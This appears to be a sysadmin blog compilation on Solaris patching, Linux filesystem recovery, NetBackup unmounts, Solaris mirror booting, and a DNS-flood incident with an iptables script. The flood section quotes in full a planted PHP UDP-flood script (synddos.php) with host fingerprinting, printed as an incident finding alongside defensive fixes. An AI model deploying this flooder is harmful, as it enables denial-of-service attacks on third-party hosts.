Here’s steps to start Sun webserver:

cd /apps/SUNWwbsvr/<https-tag-of-your-hostname>

./start

Here’s steps to stop Sun webserver:

cd /apps/SUNWwbsvr/<https-tag-of-your-hostname>

./stop

To check whether start/stop/restart completes:

ps -ef | grep SUNWwbsvr

Today when I was patching a solaris 5.9 host, error occurred with error message as follows after entering MOS(my oracle support) user/password:

122300 56 < 63 RS- 22 SunOS 5.9: Kernel Patch
Looking for 122300-63 (2/52)
Trying Oracle
Please enter My Oracle Support Account User: [email protected]
Please enter My Oracle Support Account Password:
Trying https://getupdates.oracle.com/ (zip) (1/1)
Failed (Error 403: Forbidden)
Failed (patch not found)

Then I went to http://support.oracle.com and searched patch 122300-63. The patching info page says I’ll need “Vintage Solaris download access/privilege” to download this patch, but obviously none of my CSI had this Vintage Solaris download access/privilege.

As this account issue may take some time to resolve, so I choose cluster patch or you may say patchset method to do the patching on solaris 9. Here’s the steps we need to do cluster patching on solaris 5.9:

• 1.download latest cluster patching package that satisfies your host here http://wesunsolve.net/bundles
• 2.unzip the package and have a read of Recommended.README file comes with the package
• 3.ensure there’s enough free space on /, /var(better >4Gb)
• 4. Now run ./install_patchset or ./install_cluster(you can add -nosave parameter if  you have limited free space on /, /var, but you will not be able to backout individual patches if the need arises)
• 5.For more installation messages refer to the installation logfile:    /var/sadm/install_data/<patchset-name>_log
• 6.reboot your machine to make all patches applied to your host.

NB:

If you have raid 1(mirror) on your solaris system, you can try first patch submirror and then apply to all system if server runs well after booting up. You can refer to the following for more infomation:

http://www.doxer.org/learn-linux/solaris-patching-trick-%E2%80%93-first-patch-submirror-then-sync-between-mirrors/

Thanks to Edy.

We had a linux system which failed booting up caused by filesystem corrupted.

• 1.When tried booting from single user mode, it prompt “enter root password and repair the FS”. We knew it’s filesystem /apps/kua got broken which caused the issue, but fack /apps/kua failed.
• 2.Now, we tried booting up without the corrupted /apps/kua(seems this is a tricky one in RHCE). After commented out /apps/kua from /etc/fstab, it got a “read only” error. We tried mount -o rw,remount /, but it still didn’t work.
• 3.Finally we thought of the rescue cd. After commented out /apps/kua from /etc/fstab, system finally booted up. It automatically updated selinux policy related. Now the only things left would be backup contents under /apps/kua, then make a new partition mounted under /apps/kua, and at last copy back contents to the newly created partiton.

PS:
Actually, this problem may be resolved by mounting with an alternative superblock. More details can be found here:

http://www.cyberciti.biz/tips/mounting-with-an-alternative-superblock.html

http://www.cyberciti.biz/tips/surviving-a-linux-filesystem-failures.html

If you’re running netbackup to backup data to tapes, and you find that some netbackup jobs hang there. You may want to umount filesystems netbackup is using to release these jobs.

But a small note here:

umount -l(Lazy unmount. Detach the filesystem from the filesystem hierarchy now, and cleanup all references to the filesystem as soon as it is not busy anymore) will not kill NB job. umount -l is potentially dangerous and I would discourage its use unless it’s clearly the only way forward, certainly not something we would want to put in a script.

Essentially it marks the filesystem as unmounted, effectively blocking any new processes from accessing it, but all processes that already have handles opened can still traverse directories, write and read the files etc. This means mounting this filesystem again in the same location will create a situation when
a) data in the backup is not consistent (some data from old bcv snapshot, some from the newer one)
b) metadata is corrupted (eventually it will umount the FS once the first NB process ends, and put this into superblock; next umount will likely fail to handle this).
Worst of all, this will mask the issue instead of resolving it so I agree that we should chase netbackup team for correct resolution.

I found this port 53 dns flooding attack when the server became very unsteady. NIC was blipping and networking just went down without OS rebooting.

Using ntop as detector, I found the issue with DNS traffic was at a very high level(about 3Gb traffic). Then I determined to forbid DNS traffic, and only allow some usual ports.

• stop iptables and disable autoboot of iptables

/etc/init.d/iptables stop

mv /etc/rc3.d/S08iptables /etc/rc3.d/s08iptables

[root@doxer ~]# cat iptables-stop-flood.sh

#!/bin/bash
iptables -F
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

#todo – allow no more than 5 new connections per second
#iptables -A INPUT -p tcp –syn -m limit –limit 5/s -i eth0 -j ACCEPT

# Allow traffic already established to continue
iptables -A INPUT -p all -m state –state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p all -m state –state INVALID -j DROP

#Allow ftp, http, mysql
#todo – if there’s no -m, than –dport or –sport must be in a range
#todo – –ports source and destination ports are assumed to be the same
iptables -A INPUT -p tcp -m multiport –dport 20,21,80,3306 -j ACCEPT
iptables -A OUTPUT -p tcp -m multiport –sport 20,21,80,3000,3306 -j ACCEPT

#Allow outgoing httpd like telnet doxer 80
iptables -A OUTPUT -p tcp –dport 80 -j ACCEPT

#Allow ntop
iptables -A INPUT -p udp -m multiport –dport 3000 -j ACCEPT
iptables -A INPUT -p tcp -m multiport –dport 3000 -j ACCEPT

#Allow sftp
iptables -A INPUT -p tcp –dport 115 -j ACCEPT
iptables -A OUTPUT -p tcp –sport 115 -j ACCEPT

#Allow outgoing ssh
iptables -A INPUT -p tcp –dport 22 -j ACCEPT
iptables -A INPUT -p tcp –sport 22 -j ACCEPT
iptables -A OUTPUT -p tcp –dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp –sport 22 -j ACCEPT

#allow rsync
iptables -A OUTPUT -p tcp –dport 873 -j ACCEPT
iptables -A OUTPUT -p tcp –sport 873 -j ACCEPT
iptables -A INPUT -p tcp –sport 873 -j ACCEPT
iptables -A INPUT -p tcp –dport 873 -j ACCEPT

#allow ftp passive mode(you need set vsftpd first)
iptables -A INPUT -p tcp –sport 21 -m state –state ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp –sport 20 -m state –state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp –dport 35000:37000 -j ACCEPT
iptables -A OUTPUT -p tcp –sport 35000:37000 -j ACCEPT

#Allow ping & nslookup. reply is 8, request is 0
#allow other hosts to ping
iptables -A INPUT -p icmp –icmp-type 8 -m limit –limit 1/s -j ACCEPT
#iptables -A INPUT -p icmp –icmp-type 8 -j ACCEPT
iptables -A OUTPUT -p icmp –icmp-type 0 -j ACCEPT
#allow this host ping others
iptables -A INPUT -p icmp –icmp-type 0 -j ACCEPT
iptables -A OUTPUT -p icmp –icmp-type 8 -j ACCEPT

#allow dns query
#iptables -A OUTPUT -p udp –dport 53 -m state –state NEW,ESTABLISHED -j ACCEPT
#iptables -A INPUT -p udp –sport 53 -m state –state ESTABLISHED -j ACCEPT
#iptables -A OUTPUT -p tcp –dport 53 -m state –state NEW,ESTABLISHED -j ACCEPT
#iptables -A INPUT -p tcp –sport 53 -m state –state ESTABLISHED -j ACCEPT

# Allow local loopback services
iptables -A INPUT -i lo -j ACCEPT

#save and restart iptables
/etc/init.d/iptables save
/etc/init.d/iptables restart

• run the rules

chmod +x ./iptables-stop-flood.sh && ./iptables-stop-flood.sh

• enable autoboot of iptables

After all these steps, dns traffic now dropped to normal status.

NB:

After several days’ investigation, I finally found out that this attack was source from some worms(php worms?) embedded in dedecms’s directory. Here’s one file called synddos.php:

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_REQUEST['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"].”|”.GetHostByName($_SERVER['SERVER_NAME']).”|”.php_uname().”|”.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo “Warning to: opening”;
exit;
}

for($i=0;$i<$Sendlen;$i++){
$out .= “A”;
}

$max_time = time()+$exec_time;

while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(“udp://$host”, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}

echo “Send Host：$host:$port<br><br>”;
echo “Send Flow：$packets * ($Sendlen/1024=” . round($Sendlen/1024, 2) . “)kb / 1024 = ” . round($packets*$Sendlen/1024/1024, 2) . ” mb<br><br>”;
echo “Send Rate：” . round($packets/$exec_time, 2) . ” packs/s；” . round($packets/$exec_time*$Sendlen/1024/1024, 2) . ” mb/s”;
?>

This is crazy! That explains the reason why there was so much DNS traffic out!

To cure this weakness:

1.disable fsockopen function in php.ini

disable_functions = fsockopen

2.in .htaccess file, limit php scripts from running

RewriteEngine on
RewriteCond % !^$
RewriteRule uploads/(.*).(php)$ – [F]
RewriteRule data/(.*).(php)$ – [F]
RewriteRule templets/(.*).(php)$ – [F]

If solaris’s svm has broken, and that broken one is for rootdisk, then the system will fail to boot up. We can now try boot from mirror disk rather than SVM. If the mirror is in good condition, then your system will boot up and after it’s up, we can do something to repair the broken solaris svm.

Here goes the steps to boot solaris from mirror disk without svm:

1.Prepare a cd/dvd with solaris of your host’s version.

2.goto ok mode

3.ok> boot cdrom -s ( Or boot net -s)

4.mount the root slice on /a

5.Take backup of /a/etc/vfstab and /a/etc/system files.

6.Modify the entries of the vfstab files and system files of /etc

7.Edit the /a/etc/system file, and remove the “rootdev” line shown below:

# vi /a/etc/system
*rootdev:/pseudo/md@0:0,0,blk #yours may be different
——> Do not comment the line. Remove it.

8.In the /etc/vfstab file, replace the lines for the system file system
metadevices with their underlying partitions.

For example, change lines from:

/dev/md/dsk/d0 /dev/md/rdsk/d0 / ufs 1 no -

to:

/dev/dsk/c0t0d0s0 /dev/rdsk/c0t0d0s0 / ufs 1 no -

ONLY change the lines for root (/) and the file systems which were affected. All other metadevices, may stay ‘as is’, in this file.

9.Unmount and check the root file system.

# cd /
# umount /a
# fsck /dev/rdsk/c0t0d0s0

10.#/usr/sbin/installboot /usr/platform/`uname -i`/lib/fs/ufs/bootblk /dev/rdsk/cXtXdXs0

[

If you are using a cd/dvd or net which is having advance version of the Solaris OS to
the Solaris OS on the disk to boot to single user, then install the bootblk using the following command.

#/a/usr/sbin/installboot /a/usr/platform/`uname -i`/lib/fs/ufs/bootblk /dev/rdsk/cXtXdXs0

]

11.init 0

12.Boot from the mirror disk.
Ok boot disk0

PS:

You can find more info if you search for “Unable to boot from a DiskSuite-controlled system disk” in google.